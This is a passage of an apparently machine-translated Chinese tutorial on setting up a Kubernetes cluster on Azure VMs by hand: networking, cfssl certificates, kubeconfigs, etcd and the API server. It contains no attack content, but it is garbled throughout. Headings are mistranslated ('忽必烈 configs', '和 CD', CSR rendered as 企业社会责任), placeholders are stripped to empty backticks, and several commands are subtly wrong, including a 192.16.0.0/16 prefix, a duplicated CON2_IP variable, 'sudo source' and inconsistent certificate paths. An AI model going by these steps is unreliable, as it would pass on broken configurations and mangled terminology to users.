前缀是`192.16.0.0/16`。这意味着我们不能把任何地址放在这个 CIDR 之外;例如,`10.0.0.0/24`行不通。 - -子网前缀将是提供给连接到我们子网的虚拟机的地址空间。现在我们已经创建了我们的 VNET 和子网,我们需要一个静态的公共 IP 地址。在 Azure 和任何公共云提供商中,公共 IP 都是独立于虚拟机的资源。 - -让我们通过运行以下命令来创建我们的公共 IP: - -```sh -az network public-ip create -n kube-api-pub-ip \ - --allocation-method Static \ - --sku Standard -``` - -创建后,我们可以通过运行以下查询来记录该 IP: - -```sh -az network public-ip show -n kube-api-pub-ip --query "ipAddress" -``` - -由于我们的 VNET、子网和公共 IP 都已分配,我们只需要最后一个资源,即防火墙,来为我们的虚拟机提供安全性。在 Azure 中,防火墙被称为**网络安全组** ( **NSGs** )。创建 NSG 的过程相当简单,如以下命令所示: - -```sh -az network nsg create -n kube-nsg -``` - -创建 NSG 后,我们使用以下命令将 NSG 分配给我们的子网: - -```sh -az network vnet subnet update -n node-subnet \ - --vnet-name kube-node-vnet \ - --network-security-group kube-nsg -``` - -# 调配计算资源 - -随着我们的网络全部建立,我们准备开始创建一些虚拟机。但是在我们创建任何虚拟机之前,我们需要创建 SSH 密钥,我们将使用它来访问我们的虚拟机。 - -我们将为管理虚拟机创建的第一对密钥。该虚拟机将是唯一一个可以从外部进行 SSH 访问的虚拟机。出于安全原因,我们不想暴露任何集群节点的端口`22`。每当我们想要访问任何节点时,我们都会从该虚拟机进行访问。 - -要创建 SSH 密钥,请在您的 Linux 工作站上运行`ssh-keygen`: - -```sh -ssh-keygen -``` - -现在,让我们使用以下命令创建管理虚拟机: - -```sh -az vm create -n management-vm \ - --admin-username \ - --size Standard_B1s \ - --image CentOS \ - --vnet-name kube-node-vnet \ - --subnet node-subnet \ - --private-ip-address 192.168.0.99 \ - --nsg kube-nsg \ - --ssh-key-value ~/.ssh/id_rsa.pub -``` - -请记住将``字段替换为所需的用户名。 - -下一步是我们需要配置我们的第一个 NSG 规则。这条规则将允许流量从我们自己的网络通过端口`22`到达我们的管理虚拟机,这样我们就可以通过 SSH 进入其中。让我们使用以下命令来设置它: - -```sh -az network nsg rule create --nsg-name kube-nsg \ - -n mgmt_ssh_allow \ - --direction Inbound \ - --priority 100 \ - --access Allow \ - --description "Allow SSH From Home" \ - --destination-address-prefixes '192.168.0.99' \ - --destination-port-ranges 22 \ - --protocol Tcp \ - --source-address-prefixes '' \ - --source-port-ranges '*' \ - --direction Inbound -``` - -The `source-address-prefixes` is your ISP provided public IP address, as this IPs can be dynamic, in the even that it changes, you can edit the IP on the Network Security Group rules in your Azure Portal. - -现在让我们连接到我们的虚拟机来创建 SSH 密钥,这将允许我们连接到我们的集群虚拟机。要检索我们管理的公共 IP 地址`vm`,运行以下查询: - -```sh -az vm show -d -n management-vm --query publicIps -``` - -现在,让我们使用之前创建的私钥将 SSH 连接到我们的虚拟机,如下所示: - -```sh -ssh @ -i -``` - -如果您使用与创建密钥对时不同的用户登录,则只需指定私钥。 - -现在我们在管理虚拟机中,再次运行`ssh-keygen`并最终退出虚拟机。 - -为了在 Azure 数据中心发生灾难时提供高可用性,我们的主节点将位于可用性集中。让我们创建可用性集。 - -如果您不记得可用性集是什么,您可以回到我们的 Gluster 章节,重新访问它的功能。 - -要创建可用性集,请运行以下命令: - -```sh -az vm availability-set create -n control-plane \ - --platform-fault-domain-count 3 \ - --platform-update-domain-count 3 -``` - -现在我们可以开始创建我们的第一个控制平面节点了。让我们先将管理的虚拟机公共 SSH 密钥保存到一个变量中,以便将密钥传递给主节点,如以下命令所示: - -```sh -MGMT_KEY=$(ssh @ cat ~/.ssh/id_rsa.pub) -``` - -要创建三个控制器节点,运行以下`for` 循环: - -```sh - -for i in 1 2 3; do -az vm create -n kube-controller-${i} \ - --admin-username \ - --availability-set control-plane \ - --size Standard_B2s \ - --image CentOS \ - --vnet-name kube-node-vnet \ - --subnet node-subnet \ - --private-ip-address 192.168.0.1${i} \ - --public-ip-address "" \ - --nsg kube-nsg \ - --ssh-key-value ${MGMT_KEY}; -done - -``` - -我们在这些虚拟机上使用的大小很小,因为这只是一个测试环境,我们并不真正需要大量的计算资源。在真实环境中,我们会根据我们在[第 8 章](08.html)、*构建 Kubernetes 集群*中探讨的考虑因素来调整虚拟机的大小。 - -最后但同样重要的是,我们使用以下命令创建工作节点: - -```sh - -for i in 1 2; do -az vm create -n kube-node-${i} \ - --admin-username \ - --size Standard_B2s \ - --image CentOS \ - --vnet-name kube-node-vnet \ - --subnet node-subnet \ - --private-ip-address 192.168.0.2${i} \ - --public-ip-address "" \ - --nsg kube-nsg \ - --ssh-key-value ${MGMT_KEY} -done - -``` - -# 准备管理虚拟机 - -创建控制器和工作节点后,我们现在可以登录管理虚拟机,开始安装和配置引导 Kubernetes 集群所需的工具。 - -从现在开始,我们将主要致力于管理虚拟机。让我们将 SSH 连接到虚拟机,并开始安装我们的工具集。 - -首先,我们需要下载工具来创建证书,我们的集群服务将使用这些证书来相互通信。 - -我们将首先使用以下命令安装依赖项: - -```sh -johndoe@management-vm$ sudo yum install git gcc - -johndoe@management-vm$ sudo wget -O golang.tgz https://dl.google.com/go/go1.11.1.linux-amd64.tar.gz - -johndoe@management-vm$ sudo tar -C /usr/local -xzvf golang.tgz -``` - -安装 **Go lang** 后,您需要更新您的`PATH`变量并创建一个名为`GOPATH`的新变量。您的 TLS 证书生成工具 CFFSL 将安装在此路径中。为此,您可以执行以下操作: - -```sh -johndoe@management-vm$ sudo cat << EOF > /etc/profile.d/paths.sh -export PATH=$PATH:/usr/local/go/bin:/usr/local/bin -export GOPATH=/usr/local/ -EOF -``` - -然后运行以下命令来加载当前 shell 中的变量: - -```sh -johndoe@management-vm$ sudo source /etc/profile.d/paths.sh -``` - -设置好变量后,现在我们准备使用以下命令去获取我们的`cffsl`工具包: - -```sh -johndoe@management-vm$ go get -u github.com/cloudflare/cfssl/cmd/cfssl - -johndoe@management-vm$ go get -u github.com/cloudflare/cfssl/cmd/cfssljson -``` - -两个二进制文件都将保存在我们的`GOPATH`变量下。 - -# 生成证书 - -安装好 CFSSL 二进制文件并加载到我们的`PATH`后,我们就可以开始生成我们的证书文件了。我们将在安装的这一部分生成大量文件,因此创建一个目录结构来适当地存储它们将是一个好主意。 - -# 认证授权 - -我们需要生成的第一个文件是我们的证书颁发机构的文件,它将签署我们组件的其余证书。 - -我们将在`~/certs/`目录下存储我们所有的证书,但是首先我们需要创建目录。让我们使用以下命令来设置它: - -```sh -johndoe@management-vm$ mkdir ~/certs -``` - -现在我们有了目录,让我们从使用以下命令生成 CA 配置文件开始,该文件将包含由我们的 CA 颁发的证书的到期日期以及 CA 将用于什么目的等信息: - -```sh -johndoe@management-vm$ cd ~/certs - -johndoe@management-vm$ cat << EOF > ca-config.json -{ - "signing": { - "default": { - "expiry": "8760h" - }, - "profiles": { - "kubernetes": { - "usages": [ - "signing", - "key encipherment", - "server auth", - "client auth" - ], - "expiry": "8760h" - } - } - } -} -EOF -``` - -有了 CA 配置,我们现在可以开始发出证书签名请求了。 - -我们将产生的第一个企业社会责任是针对我们的认证中心的。让我们使用以下命令来设置它: - -```sh -johndoe@management-vm$ cat << EOF > ca-csr.json -{ - "CN": "Kubernetes", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "Kubernetes", - "OU": "CA", - "ST": "NY" - } - ] -} -EOF -``` - -现在我们已经有了我们的`JSON`文件,我们实际上可以使用`cffsl`并使用以下命令生成我们的证书: - -```sh -johndoe@management-vm$ cfssl gencert -initca ca-csr.json | cfssljson -bare ca -``` - -如下图所示,将生成三个文件:`ca.csr`、`ca.pem`和`ca-key.pem`。第一个`ca.csr`,是证书签名请求。另外两个分别是我们的公共证书和私钥: - -```sh -johndoe@management-vm$ ls -ca-config.json ca.csr ca-csr.json ca-key.pem ca.pem -``` - -从现在开始,我们在中生成的任何证书都将是这种情况。 - -# 客户端证书 - -现在我们的证书颁发机构已经配置好了,并且生成了证书文件,我们可以开始为管理员用户和每个工作节点上的 kubelet 颁发证书了。 - -我们将要创建的过程和文件与 CA 非常相似,但是我们用来生成它们的命令略有不同。 - -让我们使用以下命令为我们的`admin certs `创建一个目录: - -```sh -johndoe@management-vm$ mkdir ~/certs/admin/ - -johndoe@management-vm$ cd ~/certs/admin/ -``` - -首先,创建管理员用户证书。此证书供我们的管理员通过`kubectl`管理我们的集群。 - -同样,我们将使用以下命令为`csr`生成`json`: - -```sh -johndoe@management-vm$ cat << EOF > admin-csr.json -{ - "CN": "admin", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "system:masters", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF -``` - -准备好 JSON 后,让我们现在使用以下命令签名并创建管理证书: - -```sh -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -profile=kubernetes \ - admin-csr.json | cfssljson -bare admin -``` - -与管理证书和证书颁发机构证书相比,创建`kubelet`证书的过程略有不同。`kubelet`证书要求我们在证书中填写主机名字段,因为这是它的识别方式。 - -使用以下命令创建目录: - -```sh -johndoe@management-vm$ mkdir ~/certs/kubelet/ - -johndoe@management-vm$ cd ~/certs/kubelet/ -``` - -然后使用以下命令创建`json` `csr`,其中没有太大变化: - -```sh -johndoe@management-vm$ cat << EOF > kube-node-1-csr.json -{ - "CN": "system:node:kube-node-1", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "system:nodes", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF -``` - -但是,生成`certs`的过程有点不同,从下面的命令可以看出: - -```sh -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -hostname=192.168.0.21,kube-node-1 \ - -profile=kubernetes \ - kube-node-1-csr.json | cfssljson -bare kube-node-1 -``` - -如您所见,主机名字段将包含节点将拥有的任何 IP 或 FQDN。现在为每个工作节点生成一个证书,填写与您为其生成证书的节点相对应的信息。 - -# 控制平面证书 - -让我们开始为 kube 主组件创建证书。 - -与前面的步骤一样,创建一个包含主节点组件证书的目录,并以下列方式为每个组件生成证书文件: - -```sh -johndoe@management-vm$ mkdir ~/certs/control-plane/ - -johndoe@management-vm$ cd ~/certs/control-plane/ -``` - -对于`kube-controller-manager`,使用以下命令: - -```sh -johndoe@management-vm$ cat << EOF > kube-controller-manager-csr.json -{ - "CN": "system:kube-controller-manager", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "system:kube-controller-manager", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF - -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -profile=kubernetes \ - kube-controller-manager-csr.json | cfssljson -bare kube-controller-manager -``` - -对于`kube-proxy`,使用以下命令: - -```sh -johndoe@management-vm$ cat << EOF > kube-proxy-csr.json -{ - "CN": "system:kube-proxy", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "system:node-proxier", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF - -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -profile=kubernetes \ - kube-proxy-csr.json | cfssljson -bare kube-proxy -``` - -对于`kube-scheduler`,使用以下命令: - -```sh -johndoe@management-vm$ cat << EOF > kube-scheduler-csr.json -{ - "CN": "system:kube-scheduler", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "system:kube-scheduler", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF - -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -profile=kubernetes \ - kube-scheduler-csr.json | cfssljson -bare kube-scheduler -``` - -现在我们需要创建 API 服务器。您会注意到它类似于我们使用`kubelets`的过程,因为这个证书需要主机名参数。但是有了`kube-api`证书,我们将不仅提供单个节点的主机名和 IP 地址,我们还将提供我们的应用编程接口服务器将使用的所有可能的主机名和 IP:负载平衡器公共 IP、每个主节点的 IP 和一个特殊的 FQDN,`kubernetes.default`。所有这些都将在一个证书中。 - -让我们首先使用以下命令创建一个单独的目录: - -```sh -johndoe@management-vm$ mkdir ~/certs/api/ - -johndoe@management-vm$ cd ~/certs/api/ -``` - -现在,让我们使用以下命令为主机名创建一个变量: - -```sh -johndoe@management-vm$API_HOSTNAME=10.20.0.1,192.168.0.11,kube-controller-1,192.168.0.12,kube-controller-2,,127.0.0.1,localhost,kubernetes.default -``` - -Note that you should replace `` with your public IP address. - -现在,让我们使用以下命令创建证书: - -```sh -johndoe@management-vm$ cat << EOF > kubernetes-csr.json -{ - "CN": "kubernetes", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "Kubernetes", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF - -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -hostname=${API_HOSTNAME} \ - -profile=kubernetes \ - kubernetes-csr.json | cfssljson -bare kubernetes -``` - -此时,只缺少一个证书,即服务帐户证书。该证书不是专门针对任何普通用户或 Kubernetes 组件的。服务帐户证书由应用编程接口服务器用来签署用于服务帐户的令牌。 - -我们将把这些密钥对存储在与 API certs 相同的目录中,因此我们将只创建`json`并运行`cfssl` `gencert`命令,如下命令所示: - -```sh -johndoe@management-vm$ cat << EOF > service-account-csr.json -{ - "CN": "service-accounts", - "key": { - "algo": "rsa", - "size": 2048 - }, - "names": [ - { - "C": "US", - "L": "New York", - "O": "Kubernetes", - "OU": "Kubernetes", - "ST": "NY" - } - ] -} -EOF - -johndoe@management-vm$ cfssl gencert \ - -ca=../ca.pem \ - -ca-key=../ca-key.pem \ - -config=../ca-config.json \ - -profile=kubernetes \ - service-account-csr.json | cfssljson -bare service-account -``` - -# 把我们的证书寄回家 - -生成所有证书后,是时候将它们移动到相应的节点了。Microsoft Azure 可以通过虚拟机名称在内部解析,因此我们可以轻松移动证书。 - -要将证书移动到`kubelets`,使用以下命令: - -```sh -johndoe@management-vm$ cd ~/certs/kubelets - -johndoe@management-vm$ scp ../ca.pem \ -kube-node-1.pem \ -kube-node-1-key.pem \ -johndoe@kube-node-1:~/ -``` - -对其余节点重复上述步骤。 - -要将证书移动到控制平面,请使用以下命令: - -```sh -johndoe@management-vm$ cd ~/certs/api - -johndoe@management-vm$ scp ../ca.pem \ -../ca-key.pem \ -kubernetes.pem \ -kubernetes-key.pem \ -service-account.pem \ -service-account-key.pem \ -johndoe@kube-controller-1:~/ -``` - -对最后一个控制器重复上述步骤。 - -# Kubeconfigs - -为了能够与 Kubernetes 对话,您需要知道您的 API 在哪里。你还需要告诉 API 你是谁,你的凭证是什么。所有这些信息都有`kubeconfigs`提供。这些配置文件包含您联系群集并对其进行身份验证所需的所有信息。用户不仅将使用`kubeconfig`文件到达集群,他们还将使用它到达其他服务。这就是为什么我们将为每个组件和用户生成多个`kubeconfig`文件。 - -# 安装 kubectl - -为了能够创建`kubeconfig`文件,我们需要`kubectl`。您将首先在管理虚拟机中安装`kubectl`来生成配置文件,但是稍后我们也将使用它来管理我们的集群。 - -首先,添加我们将从中获取`kubectl`的存储库,如下命令所示: - -```sh -johndoe@management-vm$ sudo cat << EOF > /etc/yum.repos.d/kubernetes.repo -[kubernetes] -name=Kubernetes -baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64 -enabled=1 -gpgcheck=1 -repo_gpgcheck=1 -gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg -EOF -``` - -最后,我们使用`yum`进行安装,如下命令所示: - -```sh -johndoe@management-vm$sudo yum install kubectl -``` - -# 控制平面 kubeconfigs - -我们将生成的第一个 kubeconfigs 是针对我们的控制平面组件的。 - -为了维持秩序,我们将继续把我们的文件组织成目录。但是,我们所有的`kubeconfigs`都将进入同一个目录,如下命令所示: - -```sh -johndoe@management-vm$ mkdir ~/kubeconfigs - -johndoe@management-vm$ cd ~/kubeconfigs -``` - -创建目录后,让我们开始生成`kubeconfigs`! - -# 库贝-控制器-管理器 - -`kube-controller-manager` `kubeconfig`: - -```sh -johndoe@management-vm$ kubectl config set-cluster kubernetes \ - --certificate-authority=../certs/ca.pem \ - --embed-certs=true \ - --server=https://127.0.0.1:6443 \ - --kubeconfig=kube-controller-manager.kubeconfig - -johndoe@management-vm$ kubectl config set-credentials \ -system:kube-controller-manager \ - --client-certificate=../certs/control-plane/kube-controller-manager.pem \ - --client-key=../certs/control-plane/kube-controller-manager-key.pem \ - --embed-certs=true \ - --kubeconfig=kube-controller-manager.kubeconfig - -johndoe@management-vm$ kubectl config set-context default \ - --cluster=kubernetes \ - --user=system:kube-controller-manager \ - --kubeconfig=kube-controller-manager.kubeconfig - -johndoe@management-vm$ kubectl config use-context default --kubeconfig=kube-controller-manager.kubeconfig -``` - -# 多维数据集计划程序 - -`Kube-scheduler` `kubeconfig`: - -```sh -johndoe@management-vm$ kubectl config set-cluster kubernetes \ - --certificate-authority=../certs/ca.pem \ - --embed-certs=true \ - --server=https://127.0.0.1:6443 \ - --kubeconfig=kube-scheduler.kubeconfig - -johndoe@management-vm$ kubectl config set-credentials system:kube-scheduler \ - --client-certificate=../certs/control-plane/kube-scheduler.pem \ - --client-key=../certs/control-plane/kube-scheduler-key.pem \ - --embed-certs=true \ - --kubeconfig=kube-scheduler.kubeconfig - -johndoe@management-vm$ kubectl config set-context default \ - --cluster=kubernetes \ - --user=system:kube-scheduler \ - --kubeconfig=kube-scheduler.kubeconfig - -johndoe@management-vm$ kubectl config use-context default --kubeconfig=kube-scheduler.kubeconfig -``` - -# 忽必烈 configs - -对于我们的`kubelets`,我们将要求每个节点一个`kubeconfig`。为了让事情变得更简单,我们将创建一个 for 循环来为每个节点创建一个配置,如下面的命令所示。请注意,您需要将``替换为您自己的公共 IP 地址: - -```sh -johndoe@management-vm$ for i in 1 2; do -kubectl config set-cluster kubernetes \ ---certificate-authority=../certs/ca.pem \ ---embed-certs=true \ ---server=https://:6443 \ ---kubeconfig=kube-node-${i}.kubeconfig - -kubectl config set-credentials system:node:kube-node-${i} \ ---client-certificate=../certs/kubelets/kube-node-${i}.pem \ ---client-key=../certs/kubelets/kube-node-${i}-key.pem \ ---embed-certs=true \ ---kubeconfig=kube-node-${i}.kubeconfig - -kubectl config set-context default \ ---cluster=kubernetes \ ---user=system:node:kube-node-${i} \ ---kubeconfig=kube-node-${i}.kubeconfig - -kubectl config use-context default --kubeconfig=kube-node-${i}.kubeconfig -done -``` - -最后,我们的工作节点将需要的最后一个`kubeconfig`是`kube-proxy kubeconfig`。我们将只生成一个,因为它不包含任何特定的节点配置,我们可以将相同的配置复制到所有节点。 - -# 立方体代理 - -`kube-proxy` `kubeconfig`: - -```sh - johndoe@management-vm$ kubectl config set-cluster kubernetes \ - --certificate-authority=../certs/ca.pem \ - --embed-certs=true \ - --server=https://:6443 \ - --kubeconfig=kube-proxy.kubeconfig - -johndoe@management-vm$ kubectl config set-credentials system:kube-proxy \ - --client-certificate=../certs/controllers/kube-proxy.pem \ - --client-key=../certs/controllers/kube-proxy-key.pem \ - --embed-certs=true \ - --kubeconfig=kube-proxy.kubeconfig - -johndoe@management-vm$ kubectl config set-context default \ - --cluster=kubernetes \ - --user=system:kube-proxy \ - --kubeconfig=kube-proxy.kubeconfig - -johndoe@management-vm$ kubectl config use-context default \ --kubeconfig=kube-proxy.kubeconfig -``` - -现在我们有了控制平面 kubeconfigs 和工作节点,我们现在将使用以下命令为管理员用户创建`kubeconfig`。这个`kubeconfig`文件是我们将用来连接到集群并管理其应用编程接口对象的文件: - -```sh -johndoe@management-vm$ kubectl config set-cluster kubernetes \ - --certificate-authority=../certs/ca.pem \ - --embed-certs=true \ - --server=https://127.0.0.1:6443 \ - --kubeconfig=admin.kubeconfig - -johndoe@management-vm$ kubectl config set-credentials admin \ - --client-certificate=../certs/admin/admin.pem \ - --client-key=../certs/admin/admin-key.pem \ - --embed-certs=true \ - --kubeconfig=admin.kubeconfig - -johndoe@management-vm$ kubectl config set-context default \ - --cluster=kubernetes \ - --user=admin \ - --kubeconfig=admin.kubeconfig - -johndoe@management-vm$ kubectl config use-context default \ --kubeconfig=admin.kubeconfig -``` - -# 四处移动配置 - -现在,我们的 kubeconfigs 需要转移到每个相应的虚拟机。为此,我们将遵循与移动证书相同的过程。 - -首先,让我们使用以下命令移动工作节点中的 kubeconfigs: - -```sh -johndoe@management-vm$ scp kube-node-1.kubeconfig kube-proxy.kubeconfig johndoe@kube-node-1:~/ -``` - -对每个节点重复。 - -在节点上放置好 kubeconfigs 后,我们现在可以使用以下命令移动`kube-api`服务器配置: - -```sh -johndoe@management-vm$ scp admin.kubeconfig kube-controller-manager.kubeconfig \ -kube-scheduler.kubeconfig johndoe@kube-controller-1:~/ -``` - -对每个控制器重复。 - -# 安装控制平面 - -现在我们将安装控制平面所需的二进制文件。 - -# 和 CD - -在这个设计中,我们决定在我们的`kube-apiserver`旁边运行`etcd`。我们将开始下载二进制文件并为我们的数据库配置`systemd`单元。 - -# 安装 etcd - -是时候开始在我们的控制器节点中安装`etcd`集群了。要安装`etcd`,我们将从管理虚拟机 SSH 到每个控制器中,并运行以下程序。 - -我们将使用以下命令开始下载和提取二进制文件: - -```sh -johndoe@kube-controller-1$ wget -O etcd.tgz \ -https://github.com/etcd-io/etcd/releases/download/v3.3.10/etcd-v3.3.10-linux-amd64.tar.gz - -johndoe@kube-controller-1$ tar xzvf etcd.tgz - -johndoe@kube-controller-1$ sudo mv etcd-v3.3.10-linux-amd64/etcd* /usr/local/bin/ - -johndoe@kube-controller-1$ sudo mkdir -p /etc/etcd /var/lib/etcd -``` - -提取二进制文件后,我们需要使用以下命令将 kubernetes API 和 CA 证书复制到我们的`etcd`目录中: - -```sh -johndoe@kube-controller-1$ cp /home/johndoe/ca.pem \ -/home/johndoe/kubernetes-key.pem \ -/home/johndoe/kubernetes.pem /etc/etcd -``` - -在创建`systemd`单元文件之前,让我们设置一些变量,让事情变得简单一点。 - -前两个变量将是主机唯一的,如以下命令所示: - -```sh -johndoe@kube-controller-1$ ETCD_NAME=$(hostname) - -johndoe@kube-controller-1$ I_IP=192.168.0.11 -``` - -下一个和最后一个变量在所有节点上都是相同的;它将包含我们每个`ectd`集群成员的主机名和 IP,如以下命令所示: - -```sh -I_CLUSTER=kube-controller-1=https://192.168.0.11:2380,kube-controller-2=https://192.168.0.12:2380,kube-controller-3=https://192.168.0.13:2380 -``` - -现在我们有了变量,让我们创建`systemd`单元文件,如下命令所示: - -```sh -johndoe@kube-controller-1$sudo cat << EOF | sudo tee /etc/systemd/system/etcd.service -[Unit] -Description=etcd -Documentation=https://github.com/coreos - -[Service] -ExecStart=/usr/local/bin/etcd \\ - --name ${ETCD_NAME} \\ - --cert-file=/etc/etcd/kubernetes.pem \\ - --key-file=/etc/etcd/kubernetes-key.pem \\ - --peer-cert-file=/etc/etcd/kubernetes.pem \\ - --peer-key-file=/etc/etcd/kubernetes-key.pem \\ - --trusted-ca-file=/etc/etcd/ca.pem \\ - --peer-trusted-ca-file=/etc/etcd/ca.pem \\ - --peer-client-cert-auth \\ - --client-cert-auth \\ - --initial-advertise-peer-urls https://${I_IP}:2380 \\ - --listen-peer-urls https://${I_IP}:2380 \\ - --listen-client-urls https://${I_IP}:2379,https://127.0.0.1:2379 \\ - --advertise-client-urls https://${I_IP}:2379 \\ - --initial-cluster-token etcd-cluster-0 \\ - --initial-cluster ${I_CLUSTER} \\ - --initial-cluster-state new \\ - --data-dir=/var/lib/etcd -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -现在,我们使用以下命令重新加载、启用并启动守护程序: - -```sh -johndoe@kube-controller-1$ systemctl daemon-reload && \ -systemctl enable etcd && \ -systemctl start etcd && \ -systemctl status etcd -``` - -对每个节点重复此过程后,您可以通过运行以下命令来检查群集的状态: - -```sh -johndoe@kube-controller-3$ ETCDCTL_API=3 etcdctl member list \ ---endpoints=https://127.0.0.1:2379 \ ---cacert=/etc/etcd/ca.pem \ ---cert=/etc/etcd/kubernetes.pem \ ---key=/etc/etcd/kubernetes-key.pem -``` - -# 加密 etcd 数据 - -API 服务器可以对`etcd`中存储的数据进行加密。为此,当我们创建`kube-apiserver systemd`单元文件时,我们将使用一个名为`--experimental-encryption-provider-config`的标志。但是在我们传递标志之前,我们需要创建一个包含我们的加密密钥的 YAML。 - -我们将只创建一个 YAML 定义,并将其复制到每个控制器节点。您应该从管理虚拟机执行此操作,以便可以轻松地将文件传输到所有控制器。让我们使用以下命令来设置它: - -```sh -johndoe@management-vm$ CRYPT_KEY=$(head -c 32 /dev/urandom | base64) -``` - -输入 YAML 定义如下: - -```sh -johndoe@management-vm$ cat << EOF > crypt-config.yml -kind: EncryptionConfig -apiVersion: v1 -resources: - - resources: - - secrets - providers: - - aescbc: - keys: - - name: key1 - secret: ${CRYPT_KEY} - - identity: {} -EOF -``` - -最后,将密钥移动到每个节点,如下所示: - -```sh -johndoe@management-vm$ for i in 1 2 3; do -scp crypt-config.yml johndoe@kube-controller-${i}:~/ -done -``` - -# 安装 Kubernetes 控制器二进制文件 - -现在`etcd`已经到位,我们可以开始安装`kube-apiserver`、`kube-controller-manager`和`kube-scheduler`了。 - -# 多维数据集 API 服务器 - -让我们首先进入第一个控制器节点,并使用以下命令下载所需的二进制文件: - -```sh -johndoe@management-vm$ ssh johndoe@kube-controller-1 - -johndoe@kube-controller-1$ wget "https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kube-apiserver" \ -"https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kubectl["](https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kubectl) -``` - -现在使用以下命令将二进制文件移动到`/usr/local/bin/`: - -```sh -johndoe@kube-controller-1$ sudo mkdir -p /etc/kubernetes/config - -johndoe@kube-controller-1$ sudo chmod +x kube* - -johndoe@kube-controller-1$ sudo mv kube-apiserver kubectl /usr/local/bin/ -``` - -接下来,我们将使用以下命令创建和移动 API 服务器工作所需的所有目录和证书: - -```sh -johndoe@kube-controller-1$ sudo mkdir -p /var/lib/kubernetes/ - -johndoe@kube-controller-1$ sudo cp /home/johndoe/ca.pem \ -/home/johndoe/ca-key.pem \ -/home/johndoe/kubernetes-key.pem \ -/home/johndoe/kubernetes.pem \ -/home/johndoe/service-account-key.pem \ -/home/johndoe/service-account.pem \ -/home/johndoe/crypt-config.yml \ -/var/lib/kubernetes/ -``` - -在创建`systemd`单元文件之前,让我们使用以下命令声明一些变量: - -```sh -johndoe@kube-controller-1$ I_IP=192.168.0.11 - -johndoe@kube-controller-1$ CON1_IP=192.168.0.11 - -johndoe@kube-controller-1$ CON2_IP=192.168.0.12 - -johndoe@kube-controller-1$ CON2_IP=192.168.0.13 -``` - -只有`I_IP`变量在每个节点上是唯一的,它将取决于您正在执行该过程的节点的 IP。其他三个在所有节点上都是相同的。 - -现在变量已经设置好了,我们可以开始创建单元文件,如下命令所示: - -```sh -johndoe@kube-controller-1$ sudo cat << EOF | sudo tee /etc/systemd/system/kube-apiserver.service -[Unit] -Description=Kubernetes API Server -Documentation=https://github.com/kubernetes/kubernetes - -[Service] -ExecStart=/usr/local/bin/kube-apiserver \\ - --advertise-address=${I_IP} \\ - --allow-privileged=true \\ - --apiserver-count=3 \\ - --audit-log-maxage=30 \\ - --audit-log-maxbackup=3 \\ - --audit-log-maxsize=100 \\ - --audit-log-path=/var/log/audit.log \\ - --authorization-mode=Node,RBAC \\ - --bind-address=0.0.0.0 \\ - --client-ca-file=/var/lib/kubernetes/ca.pem \\ - --enable-admission-plugins=Initializers,NamespaceLifecycle,NodeRestriction,LimitRanger,ServiceAccount,DefaultStorageClass,ResourceQuota \\ - --enable-swagger-ui=true \\ - --etcd-cafile=/var/lib/kubernetes/ca.pem \\ - --etcd-certfile=/var/lib/kubernetes/kubernetes.pem \\ - --etcd-keyfile=/var/lib/kubernetes/kubernetes-key.pem \\ - --etcd-servers=https://$CON1_IP:2379,https://$CON2_IP:2379 \\ - --event-ttl=1h \\ - --experimental-encryption-provider-config=/var/lib/kubernetes/crypt-config.yml \\ - --kubelet-certificate-authority=/var/lib/kubernetes/ca.pem \\ - --kubelet-client-certificate=/var/lib/kubernetes/kubernetes.pem \\ - --kubelet-client-key=/var/lib/kubernetes/kubernetes-key.pem \\ - --kubelet-https=true \\ - --runtime-config=api/all \\ - --service-account-key-file=/var/lib/kubernetes/service-account.pem \\ - --service-cluster-ip-range=10.20.0.0/24 \\ - --service-node-port-range=30000-32767 \\ - --tls-cert-file=/var/lib/kubernetes/kubernetes.pem \\ - --tls-private-key-file=/var/lib/kubernetes/kubernetes-key.pem \\ - --v=2 \\ - --kubelet-preferred-address-types=InternalIP,InternalDNS,Hostname,ExternalIP,ExternalDNS -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -# 库贝-控制器-管理器 - -要安装`kube-controller-manager`,步骤将非常相似,只是此时我们将开始使用 kubeconfigs。 - -首先,使用以下命令下载`kube-controller-manager`: - -```sh -johndoe@kube-controller-1$ wget "https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kube-controller-manager" - 